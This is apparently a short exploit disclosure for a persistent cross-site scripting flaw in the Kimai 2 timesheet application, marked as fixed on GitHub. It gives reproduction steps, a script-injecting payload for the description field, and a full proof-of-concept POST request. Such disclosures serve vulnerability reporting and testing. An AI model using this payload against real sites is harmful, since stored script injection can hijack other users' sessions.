Kimai 2 Cross Site Scripting

`# Exploit Title: Kimai 2- persistent cross-site scripting (XSS)  
# Date: 07/15/2019  
# Exploit Author: osamaalaa  
# Vendor Homepage: [link]  
# Software Link: https://github.com/kevinpapst/kimai2  
# Fixed on Github : https://github.com/kevinpapst/kimai2/pull/962  
# Version: 2  
  
1-Normal user will try to add timesheet from this link http://localhost/index.php/en/timesheet/create  
  
2-Add this payload "><svg/onload=alert('xss')> in the description  
  
3-Save The changes  
  
4-refresh and we have alert pop up!  
  
The Request POC :  
  
POST /index.php/en/timesheet/create HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 392  
Connection: close  
Referer: http://localhost  
Cookie: PHPSESSID=auehoprhqk3qspncs5s08ucobv  
  
timesheet_edit_form[begin]=2019-08-17 13:02&timesheet_edit_form[end]=2019-08-18 00:00&timesheet_edit_form[customer]=12&timesheet_edit_form[project]=24&timesheet_edit_form[activity]=27&timesheet_edit_form[description]= "><svg/onload=alert('xss')>&timesheet_edit_form[tags]=&timesheet_edit_form[_token]=19Owg2YgIMPFUcEP9NVibhqEpKwkwhVt5j-BTJysyK0  
`